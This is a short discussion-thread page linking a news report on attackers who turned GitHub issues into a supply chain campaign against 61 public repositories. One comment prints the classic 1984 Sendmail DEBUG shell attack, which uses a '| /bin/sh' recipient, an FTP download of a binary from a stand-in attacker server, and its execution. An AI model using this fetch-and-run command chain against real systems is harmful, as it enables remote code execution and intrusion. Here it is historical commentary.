Attackers turn GitHub issues into supply chain campaign against 61 public repos

(theregister.com)

6 points | by theanonymousone 14 hours ago ago

2 comments

$kazinator 13 hours ago

Those who don't understand shell execution vulnerabilities in 1984 Sendmail are condemned to repeating them:

  telnet victim-server 25
  DEBUG
  MAIL FROM:<attacker@domain.com>
  RCPT TO:<| /bin/sh>
  DATA
  cd /tmp
  ftp attacker_server
  get malicious_code
  chmod +x malicious_code
  ./malicious_code

$ChrisArchitect 14 hours ago

Source: https://www.radware.com/blog/inside-a-github-supply-chain-at...